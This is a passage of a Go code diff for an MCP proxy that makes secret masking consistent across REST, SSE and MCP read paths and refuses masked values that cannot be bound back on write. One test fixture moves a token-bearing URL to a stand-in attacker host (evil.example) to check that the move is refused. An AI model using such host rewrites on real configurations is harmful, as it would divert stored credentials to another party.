echoed := map[string]string{"X-Weird": LiveRedaction.HeaderValue("X-Weird", ghpToken)} + require.NotEqual(t, stored, echoed, "precondition: the read door masks it") + assert.Equal(t, stored, UnmaskLiveHeaders(echoed, stored)) + }) + + t.Run("url, unedited", func(t *testing.T) { + stored := "https://host/mcp?opaque=" + ghpToken + got, err := UnmaskLiveURL(LiveRedaction.URLValue(stored), stored) + require.NoError(t, err) + assert.Equal(t, stored, got) + }) + + t.Run("url, edited elsewhere — bound per parameter", func(t *testing.T) { + stored := "https://host/mcp?opaque=" + ghpToken + edited := strings.Replace(LiveRedaction.URLValue(stored), "/mcp?", "/mcp/v2?", 1) + got, err := UnmaskLiveURL(edited, stored) + require.NoError(t, err) + assert.Equal(t, "https://host/mcp/v2?opaque="+ghpToken, got) + }) + + t.Run("url, moved to another host — refused, never relocated", func(t *testing.T) { + stored := "https://host/mcp?opaque=" + ghpToken + moved := strings.Replace(LiveRedaction.URLValue(stored), "https://host/", "https://evil.example/", 1) + _, err := UnmaskLiveURL(moved, stored) + require.Error(t, err, "a mask that cannot be bound must be refused, not written through") + }) + + t.Run("a mask relocated to a key it was never read from stays masked", func(t *testing.T) { + stored := map[string]string{"BENIGN": ghpToken} + echoed := map[string]string{"OTHER": LiveRedaction.EnvValue("BENIGN", ghpToken)} + got := UnmaskLiveEnvValues(echoed, stored) + assert.NotEqual(t, ghpToken, got["OTHER"], "a secret must never move to another key") + require.Error(t, CheckServerWriteMasks("server.", map[string]interface{}{"env": got}), + "and the residual net must then refuse the write") + }) +} diff --git a/internal/oauth/serverfields.go b/internal/oauth/serverfields.go index 00f23640b..f5b8b8dcd 100644 --- a/internal/oauth/serverfields.go +++ b/internal/oauth/serverfields.go @@ -5,77 +5,224 @@ import ( ) // RedactServerSecretFields masks the secret-bearing fields of one -// contracts.Server in place, using the LIVE rendering -// (`•••• ( chars)`; ${keyring:…} / ${env:…} references pass through). +// contracts.Server in place, using the LIVE policy — the SAME +// oauth.Redaction rule set the MCP `upstream_servers list` / +// `quarantine_security list_quarantined` payloads are built from. // -// Issue #1148, round 4 finding 3. There are THREE doors that serve this struct -// — `GET /api/v1/servers` and its single-server children, the `/events` SSE -// `servers.changed` payload, and the tray/Web UI reading either — and until now -// the REST handler (internal/httpapi) and the event bus (internal/runtime) each -// carried their OWN copy of the field list. Both copies covered headers, env, -// the URL and the error strings; neither covered `args` or -// `oauth.extra_params`, so a credential passed as `--api-key sk-…` and a signed -// RFC 8707 resource indicator went out in the clear on both. +// Issue #1148, round 4 finding 3 put the FIELD LIST here. Round 6 finding 2 +// put the RULES here too: this function used to apply name-rule-only redaction +// (RedactEnvValues / RedactStringHeaders / RedactURLQueryParams) while the MCP +// door applied the name rule PLUS the value-shaped detector, so a credential +// under a benign env/header name — or under an unrecognised URL query +// parameter — was masked on one door and published in the clear on the other. +// Sharing a field list but not the rules is the same half-done shape this issue +// keeps producing; both now come from LiveRedaction. // -// Parity between those doors is load-bearing beyond the leak: the Web UI's -// mergeServers treats each payload as authoritative, so a masked-vs-plaintext -// mismatch between the list response and the SSE delivery would flicker on -// every event. One function is what makes the parity structural instead of two -// lists that have to be remembered together. +// There are THREE doors onto this struct — `GET /api/v1/servers` and its +// single-server children, the `/events` SSE `servers.changed` payload, and the +// tray/Web UI reading either. Parity between them is load-bearing beyond the +// leak: the Web UI's mergeServers treats each payload as authoritative, so a +// masked-vs-plaintext mismatch between the list response and the SSE delivery +// would flicker on every event. // // Callers apply the `reveal_secret_headers` opt-out themselves; by the time a // server reaches here it is being redacted. // -// The write-path contract per masked field: -// -// - headers / env — reverted from an echoed mask, bound to the map key -// (UnmaskHeaders / UnmaskEnvValues). -// - url — reverted per query parameter, bound to the stored scheme and -// host:port (UnmaskURL / UnmaskLiveURLParams). -// - args — REFUSED, never reverted: an argv slot carries no key to bind a -// stored secret to, and the `args` field replaces the whole vector. See -// CheckArgvMaskEcho, which POST and PATCH /api/v1/servers both call. -// - oauth — read-only over REST (AddServerRequest carries no oauth field), -// so no REST write can echo this mask back. -// - last_error / health.detail / diagnostic.cause — free-form text nothing -// writes back through. +// The write-path answer for every field is recorded ONCE, in +// ServerFieldMaskDecisions below, and enforced by the write doors through +// UnmaskLiveEnvValues / UnmaskLiveHeaders / UnmaskLiveURL / UnmaskLiveOAuth +// plus the CheckServerWriteMasks residual net. func RedactServerSecretFields(server *contracts.Server) { if server == nil { return } if len(server.Headers) > 0 { - server.Headers = RedactStringHeaders(server.Headers) + headers := make(map[string]string, len(server.Headers)) + for k, v := range server.Headers { + headers[k] = LiveRedaction.HeaderValue(k, v) + } + server.Headers = headers } if len(server.Env) > 0 { - server.Env = RedactEnvValues(server.Env) + env := make(map[string]string, len(server.Env)) + for k, v := range server.Env { + env[k] = LiveRedaction.EnvValue(k, v) + } + server.Env = env } if server.URL != "" { - server.URL = RedactURLQueryParams(server.URL) + server.URL = LiveRedaction.URLValue(server.URL) } if len(server.Args) > 0 { server.Args = LiveRedaction.Argv(server.Args) } - if server.OAuth != nil && len(server.OAuth.ExtraParams) > 0 { - params := make(map[string]string, len(server.OAuth.ExtraParams)) - for k, v := range server.OAuth.ExtraParams { - params[k] = LiveRedaction.Leaf(k, v) - } + if server.OAuth != nil { // Copy the struct rather than writing through the pointer: the // contracts.Server may share its OAuth block with the caller's config. masked := *server.OAuth - masked.ExtraParams = params + // auth_url / token_url are DISCOVERED endpoints, not secrets, and they + // exist only on this projection (config.OAuthConfig has no such + // fields). They take the URL rule rather than the name rule on + // purpose: `auth_url` contains the substring `AUTH`, so judging it by + // its NAME would blank a public endpoint the operator needs to read, + // while the URL rule still masks a credential carried in its query + // string. + masked.AuthURL = LiveRedaction.URLValue(masked.AuthURL) + masked.TokenURL = LiveRedaction.URLValue(masked.TokenURL) + // client_id takes the same leaf rule the MCP door applies to + // config.OAuthConfig.client_id — readable unless the value itself is + // credential-shaped. + masked.ClientID = LiveRedaction.Leaf("client_id", masked.ClientID) + if len(masked.ExtraParams) > 0 { + params := make(map[string]string, len(masked.ExtraParams)) + for k, v := range masked.ExtraParams { + params[k] = LiveRedaction.Leaf(k, v) + } + masked.ExtraParams = params + } + // Round 6 finding 3: the MCP door masks `oauth.scopes` (and REFUSES an + // echo of that mask) because a scope slot is free text an agent can + // paste a credential into. Two doors, one field, one answer. + if len(masked.Scopes) > 0 { + scopes := make([]string, len(masked.Scopes)) + for i, v := range masked.Scopes { + scopes[i] = LiveRedaction.Leaf("scopes", v) + } + masked.Scopes = scopes + } server.OAuth = &masked } if server.LastError != "" { - server.LastError = RedactSensitiveData(server.LastError) + server.LastError = MaskDetectedSecrets(RedactSensitiveData(server.LastError)) } if server.Health != nil && server.Health.Detail != "" { - server.Health.Detail = RedactSensitiveData(server.Health.Detail) + health := *server.Health + health.Detail = MaskDetectedSecrets(RedactSensitiveData(health.Detail)) + server.Health = &health } // Spec 044 diagnostic — its Cause echoes the raw connect error, which // carries the full upstream URL (query secrets and all); scrub it in parity // with LastError / Health.Detail. if server.Diagnostic != nil && server.Diagnostic.Cause != "" { - server.Diagnostic.Cause = RedactSensitiveData(server.Diagnostic.Cause) + diag := *server.Diagnostic + diag.Cause = MaskDetectedSecrets(RedactSensitiveData(diag.Cause)) + server.Diagnostic = &diag } } + +// MaskDecision is what a write door does when a client echoes back the mask a +// read door rendered for a field. +// +// Issue #1148 spent five review rounds on one shape: a rule applied at one door +// and not its sibling. The cure is that the answer for a field is written down +// ONCE, here, and every door reads it from the same place — so a field cannot +// be masked on read with no matching answer on write (which corrupts the stored +// credential), nor left in the clear on one door because the other one already +// handles it. +type MaskDecision string + +const ( + // MaskDecisionRevertByKey — the read mask is reverted on write, bound to a + // KEY the caller cannot restate without also restating what the secret is + // for: a map key, a query-parameter name plus the stored scheme+host, a + // named struct field. Anything the binding cannot reach is refused. + MaskDecisionRevertByKey MaskDecision = "revert-by-key" + + // MaskDecisionRefuse — the read mask is NEVER reverted; a write carrying it + // is rejected and the caller resends the real value. This is the answer for + // every field whose secret has no key to bind to (an argv slot has only its + // index and its neighbours, and the caller supplies the whole vector *and* + // `command` in the same request) and, by default, for every field nobody + // has yet given a binding — which is what makes a new field fail CLOSED. + MaskDecisionRefuse MaskDecision = "refuse" + + // MaskDecisionNotSecret — the field carries no credential, is never masked + // on any read door, and so can never be echoed back as a mask. The residual + // net still refuses one if it appears. + MaskDecisionNotSecret MaskDecision = "not-secret" +) + +// ServerFieldMaskDecisions records the decision for every field of a server as +// it appears on the wire, keyed by JSON field name. Both config.ServerConfig +// (the MCP door + the config file) and contracts.Server (the REST/SSE door) are +// covered; the two share most names. +// +// TestServerFieldMaskDecisions_CoverEveryServerField reflects over BOTH structs +// and fails when a field appears here without a decision — so adding a field to +// either struct forces the author to answer the question rather than inheriting +// "leaked by default" or "corrupted by default". +var ServerFieldMaskDecisions = map[string]MaskDecision{ + // --- masked on read, reverted on write, bound to a key --- + "url": MaskDecisionRevertByKey, // UnmaskURL + UnmaskLiveURLParams, bound to the parameter name and the stored scheme+host:port + "env": MaskDecisionRevertByKey, // UnmaskEnvValues / UnmaskLiveEnvValues, bound to the variable name + "headers": MaskDecisionRevertByKey, // UnmaskHeaders / UnmaskLiveHeaders, bound to the header name + "oauth": MaskDecisionRevertByKey, // UnmaskLiveOAuth: client_secret/client_id/redirect_uri/extra_params bound to their own names; scopes and every future leaf REFUSED + + // --- masked on read, never reverted --- + "args": MaskDecisionRefuse, // CheckArgvMaskEcho: an argv slot carries no key + + // --- not secret-bearing --- + "id": MaskDecisionNotSecret, + "name": MaskDecisionNotSecret, + "protocol": MaskDecisionNotSecret, + "command": MaskDecisionNotSecret, + "working_dir": MaskDecisionNotSecret, + "enabled": MaskDecisionNotSecret, + "quarantined": MaskDecisionNotSecret, + "skip_quarantine": MaskDecisionNotSecret, + "auto_approve_tool_changes": MaskDecisionNotSecret, + "trust_mode": MaskDecisionNotSecret, + "shared": MaskDecisionNotSecret, + "created": MaskDecisionNotSecret, + "updated": MaskDecisionNotSecret, + "reconnect_on_use": MaskDecisionNotSecret, + "expose_prompts": MaskDecisionNotSecret, + "launcher_wait_timeout": MaskDecisionNotSecret, + "health_check_interval": MaskDecisionNotSecret, + "tool_discovery_interval": MaskDecisionNotSecret, + "init_timeout": MaskDecisionNotSecret, + "max_concurrent_requests": MaskDecisionNotSecret, + "queue_size": MaskDecisionNotSecret, + "queue_timeout": MaskDecisionNotSecret, + "toon_output": MaskDecisionNotSecret, + "enabled_tools": MaskDecisionNotSecret, + "disabled_tools": MaskDecisionNotSecret, + "source_registry_id": MaskDecisionNotSecret, + "source_registry_provenance": MaskDecisionNotSecret, + + // Docker/sandbox overrides. `extra_args` is free text an operator can put a + // `-e API_KEY=…` into, so the read doors mask it through the same leaf rule + // as any other config string; nothing binds a mask back to an element of a + // caller-replaced slice, so an echo is refused by the residual net. + "isolation": MaskDecisionRefuse, + + // Server edition only (//go:build server); the personal edition carries an + // empty stub. Brokered credentials are masked by the leaf rules on read and + // have no key-bound revert, so an echo is refused. + "auth_broker": MaskDecisionRefuse, + + // --- contracts.Server-only projections (read-only; never accepted on a write) --- + "connected": MaskDecisionNotSecret, + "connecting": MaskDecisionNotSecret, + "status": MaskDecisionNotSecret, + "last_error": MaskDecisionNotSecret, // scrubbed free-form text; nothing writes back through it + "connected_at": MaskDecisionNotSecret, + "last_reconnect_at": MaskDecisionNotSecret, + "reconnect_count": MaskDecisionNotSecret, + "tool_count": MaskDecisionNotSecret, + "isolation_defaults": MaskDecisionNotSecret, + "isolation_effective": MaskDecisionNotSecret, + "authenticated": MaskDecisionNotSecret, + "oauth_status": MaskDecisionNotSecret, + "token_expires_at": MaskDecisionNotSecret, + "tool_list_token_size": MaskDecisionNotSecret, + "should_retry": MaskDecisionNotSecret, + "retry_count": MaskDecisionNotSecret, + "last_retry_time": MaskDecisionNotSecret, + "user_logged_out": MaskDecisionNotSecret, + "health": MaskDecisionNotSecret, // health.detail is scrubbed free-form text + "quarantine": MaskDecisionNotSecret, + "security_scan": MaskDecisionNotSecret, + "diagnostic": MaskDecisionNotSecret, // diagnostic.cause is scrubbed free-form text + "error_code": MaskDecisionNotSecret, +} diff --git a/internal/oauth/serverwrite.go b/internal/oauth/serverwrite.go new file mode 100644 index 000000000..f503b7ff1 --- /dev/null +++ b/internal/oauth/serverwrite.go @@ -0,0 +1,237 @@ +package oauth + +import ( + "bytes" + "encoding/json" + "errors" + "fmt" + "strings" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" +) + +// Issue #1148, round 6. The WRITE half of the rule set lives here, next to the +// read half in redactview.go, and every write door — MCP `upstream_servers +// add|update|patch`, REST `POST`/`PATCH /api/v1/servers` — calls exactly these +// functions. +// +// It has to be one place for the same reason the read half does: internal/httpapi +// sits BELOW internal/server in the import graph, so a mirror written in +// internal/server is unreachable from REST. Round 5 left the live-rendering +// mirrors (unmaskLive*) up in internal/server while round 6 moved the live +// RENDERING onto the REST read door — which, without this move, would have +// turned REST rows from "published in the clear" into "silently corrupted", +// the one trade this branch must never make. +// +// The shape every door follows: +// +// 1. Revert what can be BOUND TO A KEY — a map key, a query-parameter name +// plus the stored scheme+host, a named struct field. +// 2. REFUSE whatever still carries a mask this proxy rendered +// (CheckServerWriteMasks). That covers the fields with no binding (argv, +// scopes, isolation.extra_args) AND every field added to the config struct +// later, so a new field fails CLOSED instead of persisting its own mask +// over a live credential. +// +// ServerFieldMaskDecisions in serverfields.go records which fields are in (1) +// and which fall to (2), and a reflection test fails when a new field appears +// without an answer. + +// UnmaskLiveEnvValues reverts env values a client echoed back exactly as a LIVE +// read door rendered them. +// +// It exists alongside UnmaskEnvValues because the live rendering runs the +// value-shaped detector over leaves the NAME rule left alone (`env: {BENIGN: +// ghp_…}`) — a rendering UnmaskEnvValues cannot recognise, since it compares +// against maskedEnvValue. Without this mirror, masking that leaf would trade a +// disclosure for the read-modify-write corruption of #1142/#1146. +// +// Binding is by KEY, exactly as UnmaskEnvValues binds, so a value can only ever +// be restored to the variable it was read from. +func UnmaskLiveEnvValues(incoming, stored map[string]string) map[string]string { + return unmaskLiveMapValues(incoming, stored, LiveRedaction.EnvValue) +} + +// UnmaskLiveHeaders is UnmaskLiveEnvValues for header maps. +func UnmaskLiveHeaders(incoming, stored map[string]string) map[string]string { + return unmaskLiveMapValues(incoming, stored, LiveRedaction.HeaderValue) +} + +func unmaskLiveMapValues(incoming, stored map[string]string, rendered func(k, v string) string) map[string]string { + if incoming == nil || len(stored) == 0 { + return incoming + } + out := make(map[string]string, len(incoming)) + for k, v := range incoming { + if sv, ok := stored[k]; ok && v == rendered(k, sv) { + out[k] = sv + continue + } + out[k] = v + } + return out +} + +// UnmaskLiveURL reverts a masked URL on the write path, and REFUSES the write +// when a mask it cannot bind survives. +// +// Three steps, widest binding first: +// +// 1. The whole URL echoed back byte for byte — revert to the stored URL. +// 2. A genuine edit — UnmaskURL restores the userinfo password and the +// SENSITIVE query params under its own authority safeguard, then +// UnmaskLiveURLParams restores, PER PARAMETER, anything the value-shaped +// detector masked under a parameter name no matcher recognises. +// 3. Whatever still carries a mask marker is refused. +// +// Round 4 finding 2 is why (2) needs the per-parameter pass and (3) exists at +// all: for `https://host/old?opaque=ghp_…` the LIVE detector masks the value, +// but changing `/old` to `/new` defeats the whole-URL comparison in (1) and +// UnmaskURL ignores the unrecognised `opaque` parameter — so the mask was +// written through as the credential. The per-parameter revert is bound to the +// parameter name and the authority and to nothing else, so it survives an +// unrelated edit; the refusal covers everything that binding cannot reach (a +// URL moved to another host, a mask in the path or the fragment, a parameter +// whose stored counterpart is gone). +func UnmaskLiveURL(incoming, stored string) (string, error) { + if incoming == "" { + return incoming, nil + } + if stored != "" { + if incoming == LiveRedaction.URLValue(stored) { + return stored, nil + } + incoming = UnmaskLiveURLParams(UnmaskURL(incoming, stored), stored) + } + if ContainsMaskMarker(incoming) { + return "", errors.New("url is a redaction placeholder, not a URL: " + + "credentials inside the URL are masked on read, and this one cannot be bound back to the stored " + + "value (the scheme/host changed, or the credential does not sit in a query parameter). " + + "Resend the real URL, or omit url to leave the stored one unchanged") + } + return incoming, nil +} + +// UnmaskLiveOAuth reverts masked oauth fields echoed back by a client, and +// REFUSES the write when a mask it cannot bind survives. +// +// The oauth block is REPLACED wholesale by a write, and the live view masks +// every leaf of it that looks like a credential — not just client_secret. +// Round 2 finding 6 fixed client_secret; round 4 finding 1 caught the rest: +// `extra_params` routinely holds an RFC 8707 resource indicator with a signed +// URL, which the URL rule masks, and any leaf can be masked by the value-shaped +// detector. A read-modify-write therefore persisted the MASK STRING over those +// values. +// +// - client_secret, client_id, redirect_uri — reverted, each bound to its own +// field name, using the same rendering the read path produced. +// - extra_params — reverted per PARAMETER NAME, exactly as env vars and +// headers are reverted per key. +// - scopes, and any field added to config.OAuthConfig in future — REFUSED. A +// scope's only context is its position in a caller-supplied slice, which is +// the same non-binding an argv token has (see CheckArgvMaskEcho), and a +// future field has no revert at all. The residual check walks the whole +// block, so a new field fails CLOSED instead of silently corrupting. +func UnmaskLiveOAuth(incoming, stored *config.OAuthConfig) error { + if incoming == nil { + return nil + } + if stored != nil { + incoming.ClientSecret = UnmaskLiveField("client_secret", incoming.ClientSecret, stored.ClientSecret) + incoming.ClientID = UnmaskLiveField("client_id", incoming.ClientID, stored.ClientID) + incoming.RedirectURI = UnmaskLiveField("redirect_uri", incoming.RedirectURI, stored.RedirectURI) + incoming.ExtraParams = unmaskLiveMapValues(incoming.ExtraParams, stored.ExtraParams, LiveRedaction.Leaf) + } + if path, ok := FindMaskMarker("oauth", NormalizeForRedaction(incoming)); ok { + return fmt.Errorf("oauth%s is a redaction placeholder, not a value: "+ + "it carries no key this proxy can bind the stored secret to, so it is never restored on write. "+ + "Resend the real value, or omit the oauth block to leave the stored one unchanged", + strings.TrimPrefix(path, "oauth")) + } + return nil +} + +// UnmaskLiveField reverts one scalar field echoed back exactly as a live read +// door rendered it, bound to the field NAME the rendering was keyed on. +func UnmaskLiveField(key, incoming, stored string) string { + if incoming == "" || stored == "" { + return incoming + } + if incoming == LiveRedaction.Leaf(key, stored) { + return stored + } + return incoming +} + +// CheckServerWriteMasks is the fail-closed net on EVERY server write door. +// +// After the key-bound reverts above have restored what they can bind, anything +// still carrying a mask this proxy rendered is refused. That is what makes the +// scheme total rather than a list of fields somebody remembered: a field with +// no revert (args, oauth.scopes, isolation.extra_args), a mask relocated to a +// field it was never read from, and — the case five review rounds kept +// producing — a field ADDED to config.ServerConfig later, all fail CLOSED +// instead of persisting the mask over a live credential. +// +// `what` names the thing being written, for the operator-facing message. +func CheckServerWriteMasks(what string, v interface{}) error { + path, ok := FindMaskMarker("", NormalizeForRedaction(v)) + if !ok { + return nil + } + return fmt.Errorf("%s%s is a redaction placeholder, not a value: "+ + "secrets are masked on read and this mask carries no key this proxy can bind the stored value to, "+ + "so it is never restored on write. Resend the real value, or omit the field to leave the stored one unchanged", + what, strings.TrimPrefix(path, ".")) +} + +// FindMaskMarker walks a generic JSON value and returns the dotted path of the +// first string leaf still carrying a mask this proxy rendered. +// +// Walking the whole value rather than checking a hand-written field list is the +// point: it is what makes a field ADDED to the struct later fail closed instead +// of quietly round-tripping its own mask into the config. +func FindMaskMarker(path string, v interface{}) (string, bool) { + switch typed := v.(type) { + case map[string]interface{}: + for k, val := range typed { + if p, ok := FindMaskMarker(path+"."+k, val); ok { + return p, true + } + } + case []interface{}: + for i, val := range typed { + if p, ok := FindMaskMarker(fmt.Sprintf("%s[%d]", path, i), val); ok { + return p, true + } + } + case string: + if ContainsMaskMarker(typed) { + return path, true + } + } + return "", false +} + +// NormalizeForRedaction turns an arbitrary typed config value into generic JSON +// (maps / slices / json.Number / string / bool) so the walkers above and the +// redaction walker in internal/server can inspect it key by key. json.Number +// keeps integers exact instead of degrading them to float64 and rendering as +// 1.048576e+06. On failure the value is returned unchanged; the walkers' default +// branch then passes it through. +func NormalizeForRedaction(v interface{}) interface{} { + if v == nil { + return nil + } + encoded, err := json.Marshal(v) + if err != nil { + return v + } + dec := json.NewDecoder(bytes.NewReader(encoded)) + dec.UseNumber() + var out interface{} + if err := dec.Decode(&out); err != nil { + return v + } + return out +} diff --git a/internal/runtime/event_bus.go b/internal/runtime/event_bus.go index c7b2e9727..624faaa22 100644 --- a/internal/runtime/event_bus.go +++ b/internal/runtime/event_bus.go @@ -319,11 +319,14 @@ func (r *Runtime) enrichServersWithQuarantineStats(servers []contracts.Server) { // redactServerSecrets masks the secret-bearing fields of every server in an SSE // payload unless the loaded config opts out via reveal_secret_headers: true. // -// The field list is oauth.RedactServerSecretFields — the same function the REST -// list path calls. It used to be a hand-copied MIRROR of that list, which is -// exactly how `args` and `oauth.extra_params` came to be masked on the MCP -// surface and published in the clear on both of these doors (issue #1148, round -// 4 finding 3). Keeping SSE subscribers behind the exact same trust boundary as +// The field list AND the rules are oauth.RedactServerSecretFields — the same +// function the REST list path calls, applying the same oauth.LiveRedaction the +// MCP payloads are built from. It used to be a hand-copied MIRROR of that list, +// which is exactly how `args` and `oauth.extra_params` came to be masked on the +// MCP surface and published in the clear on both of these doors (issue #1148, +// round 4 finding 3); sharing the list but not the value-shaped detector then +// left a credential under a benign env/header name in the clear here (round 6 +// finding 2). Keeping SSE subscribers behind the exact same trust boundary as // the REST list is load-bearing: the Web UI's mergeServers treats each payload // as authoritative, so a masked-vs-plaintext mismatch between the two would // flicker on every delivery. diff --git a/internal/server/mcp.go b/internal/server/mcp.go index 479c89730..7fa1bac6b 100644 --- a/internal/server/mcp.go +++ b/internal/server/mcp.go @@ -4787,6 +4787,17 @@ func (p *MCPProxyServer) handleAddUpstream(ctx context.Context, request mcp.Call } } + // #1148 round 6 (finding 4): on CREATE there is no stored value to bind a + // mask back to, so ANY mask this proxy rendered can only be a placeholder + // an agent copied out of another server's read payload — never a value + // worth persisting. Refusing beats persisting literal text like + // `••••AL (12 chars)` as an argv token or a header, which produces a server + // that fails to connect for a non-obvious reason. REST + // `POST /api/v1/servers` runs the same check, so the two create doors agree. + if err := checkServerWriteMasks("", serverConfig); err != nil { + return mcp.NewToolResultError(err.Error()), nil + } + // Save to storage if err := p.storage.SaveUpstreamServer(serverConfig); err != nil { return mcp.NewToolResultError(fmt.Sprintf("Failed to add upstream: %v", err)), nil @@ -5383,6 +5394,17 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest } } + // #1148 round 6: the fail-closed net. Every mask this proxy can bind back + // to the value it was read from has been reverted above; anything still + // carrying one is refused rather than persisted over a live credential. + // This is what covers the fields with no revert (isolation.extra_args) AND + // every field added to config.ServerConfig later — a new field fails CLOSED + // instead of silently round-tripping its own mask into the config. See + // oauth.ServerFieldMaskDecisions. + if err := checkServerWriteMasks("", patch); err != nil { + return nil, opts, err + } + return patch, opts, nil } diff --git a/internal/server/mcp_activity_args.go b/internal/server/mcp_activity_args.go index 5f8687bfc..4a69c0435 100644 --- a/internal/server/mcp_activity_args.go +++ b/internal/server/mcp_activity_args.go @@ -1,7 +1,6 @@ package server import ( - "bytes" "encoding/json" "fmt" "strings" @@ -262,20 +261,7 @@ func redactedConfigDiff(diff *config.ConfigDiff) map[string]interface{} { // float64 and rendering as 1.048576e+06. On failure the value is returned // unchanged; the walker's default branch then passes it through. func normalizeForRedaction(v interface{}) interface{} { - if v == nil { - return nil - } - encoded, err := json.Marshal(v) - if err != nil { - return v - } - dec := json.NewDecoder(bytes.NewReader(encoded)) - dec.UseNumber() - var out interface{} - if err := dec.Decode(&out); err != nil { - return v - } - return out + return oauth.NormalizeForRedaction(v) } // redactionPolicy pairs the SHARED redaction rules (oauth.Redaction — which diff --git a/internal/server/mcp_server_view.go b/internal/server/mcp_server_view.go index 1ac6e3542..d73ea90ca 100644 --- a/internal/server/mcp_server_view.go +++ b/internal/server/mcp_server_view.go @@ -252,170 +252,44 @@ func checkArgvMaskEcho(incoming, stored []string) error { return oauth.CheckArgvMaskEcho("args_json", incoming, stored) } +// The unmaskLive* helpers below are thin bindings onto the shared write rules +// in internal/oauth (serverwrite.go), which is where they have to live: REST +// `PATCH /api/v1/servers/{name}` needs exactly the same reverts, and +// internal/httpapi cannot import this package (issue #1148, rounds 4 and 6). + // unmaskLiveEnvValues reverts env values a client echoed back exactly as the // LIVE VIEW rendered them, before oauth.UnmaskEnvValues gets the map. -// -// Round 2 finding 7 let the live policy's value-shaped detector fire on a leaf -// the name rule left untouched (`env: {BENIGN: ghp_…}`), which is a rendering -// oauth.UnmaskEnvValues cannot recognise — it compares against oauth. -// maskedEnvValue. Without this mirror, masking that leaf would trade a -// disclosure for the read-modify-write corruption of #1142/#1146. -// -// Binding is by KEY, exactly as oauth's own unmaskers bind, so a value can only -// ever be restored to the variable it was read from. func unmaskLiveEnvValues(incoming, stored map[string]string) map[string]string { - return unmaskLiveMap(incoming, stored, func(k, v string) string { - return redactEnvValueWith(k, v, liveRedaction) - }) + return oauth.UnmaskLiveEnvValues(incoming, stored) } // unmaskLiveHeaders is unmaskLiveEnvValues for header maps. func unmaskLiveHeaders(incoming, stored map[string]string) map[string]string { - return unmaskLiveMap(incoming, stored, func(k, v string) string { - return redactHeaderValueWith(k, v, liveRedaction) - }) -} - -func unmaskLiveMap(incoming, stored map[string]string, rendered func(k, v string) string) map[string]string { - if incoming == nil || len(stored) == 0 { - return incoming - } - out := make(map[string]string, len(incoming)) - for k, v := range incoming { - if sv, ok := stored[k]; ok && v == rendered(k, sv) { - out[k] = sv - continue - } - out[k] = v - } - return out + return oauth.UnmaskLiveHeaders(incoming, stored) } // unmaskLiveURL reverts a masked URL on the write path, and REFUSES the write // when a mask it cannot bind survives. -// -// Three steps, widest binding first: -// -// 1. The whole URL echoed back byte for byte — revert to the stored URL. -// 2. A genuine edit — oauth.UnmaskURL restores the userinfo password and the -// SENSITIVE query params under its own authority safeguard, then -// oauth.UnmaskLiveURLParams restores, PER PARAMETER, anything the -// value-shaped detector masked under a parameter name no matcher -// recognises. -// 3. Whatever still carries a mask marker is refused. -// -// Round 4 finding 2 is why (2) needs the per-parameter pass and (3) exists at -// all: for `https://host/old?opaque=ghp_…` the LIVE detector masks the value, -// but changing `/old` to `/new` defeats the whole-URL comparison in (1) and -// oauth.UnmaskURL ignores the unrecognised `opaque` parameter — so the mask was -// written through as the credential. The per-parameter revert is bound to the -// parameter name and the authority and to nothing else, so it survives an -// unrelated edit; the refusal covers everything that binding cannot reach (a -// URL moved to another host, a mask in the path or the fragment, a parameter -// whose stored counterpart is gone). func unmaskLiveURL(incoming, stored string) (string, error) { - if incoming == "" { - return incoming, nil - } - if stored != "" { - if incoming == redactStringWith("url", stored, liveRedaction) { - return stored, nil - } - incoming = oauth.UnmaskLiveURLParams(oauth.UnmaskURL(incoming, stored), stored) - } - if oauth.ContainsMaskMarker(incoming) { - return "", errors.New("url is a redaction placeholder, not a URL: " + - "credentials inside the URL are masked on read, and this one cannot be bound back to the stored " + - "value (the scheme/host changed, or the credential does not sit in a query parameter). " + - "Resend the real URL, or omit url to leave the stored one unchanged") - } - return incoming, nil + return oauth.UnmaskLiveURL(incoming, stored) } // unmaskLiveOAuth reverts masked oauth fields echoed back by a client, and -// REFUSES the write when a mask it cannot bind survives. -// -// `oauth_json` REPLACES the whole oauth block, and the live view masks every -// leaf of it that looks like a credential — not just client_secret. Round 2 -// finding 6 fixed client_secret; round 4 finding 1 caught the rest: -// `extra_params` routinely holds an RFC 8707 resource indicator with a signed -// URL, which the URL rule masks, and any leaf can be masked by the value-shaped -// detector. A read-modify-write through `oauth_json` therefore persisted the -// MASK STRING over those values. -// -// The rule this file now applies uniformly: every field newly masked on a read -// surface gets either a matching KEY-BOUND revert or a refusal. -// -// - client_secret, client_id, redirect_uri — reverted, each bound to its own -// field name, using the same rendering the read path produced. -// - extra_params — reverted per PARAMETER NAME, exactly as env vars and -// headers are reverted per key. -// - scopes, and any field added to config.OAuthConfig in future — REFUSED. A -// scope's only context is its position in a caller-supplied slice, which is -// the same non-binding an argv token has (see checkArgvMaskEcho), and a -// future field has no revert at all. The residual check walks the whole -// block, so a new field fails CLOSED instead of silently corrupting. -// -// The REST API is unaffected: contracts.OAuthConfig is read-only there (there -// is no oauth field on AddServerRequest), so no REST write can echo one back. +// REFUSES the write when a mask it cannot bind survives. `oauth_json` is the +// MCP surface's spelling of the parameter. func unmaskLiveOAuth(incoming, stored *config.OAuthConfig) error { - if incoming == nil { - return nil - } - if stored != nil { - incoming.ClientSecret = unmaskLiveField("client_secret", incoming.ClientSecret, stored.ClientSecret) - incoming.ClientID = unmaskLiveField("client_id", incoming.ClientID, stored.ClientID) - incoming.RedirectURI = unmaskLiveField("redirect_uri", incoming.RedirectURI, stored.RedirectURI) - incoming.ExtraParams = unmaskLiveMap(incoming.ExtraParams, stored.ExtraParams, - func(k, v string) string { return redactStringWith(k, v, liveRedaction) }) - } - if path, ok := findMaskMarker("oauth", normalizeForRedaction(incoming)); ok { - return fmt.Errorf("oauth_json%s is a redaction placeholder, not a value: "+ - "it carries no key this proxy can bind the stored secret to, so it is never restored on write. "+ - "Resend the real value, or omit oauth_json to leave the stored oauth block unchanged", - strings.TrimPrefix(path, "oauth")) + if err := oauth.UnmaskLiveOAuth(incoming, stored); err != nil { + return errors.New("oauth_json" + strings.TrimPrefix(err.Error(), "oauth")) } return nil } -// unmaskLiveField reverts one scalar field echoed back exactly as the live view -// rendered it, bound to the field NAME the rendering was keyed on. -func unmaskLiveField(key, incoming, stored string) string { - if incoming == "" || stored == "" { - return incoming - } - if incoming == redactStringWith(key, stored, liveRedaction) { - return stored - } - return incoming -} - -// findMaskMarker walks a generic JSON value and returns the dotted path of the -// first string leaf still carrying a mask this proxy rendered. -// -// Walking the whole value rather than checking a hand-written field list is the 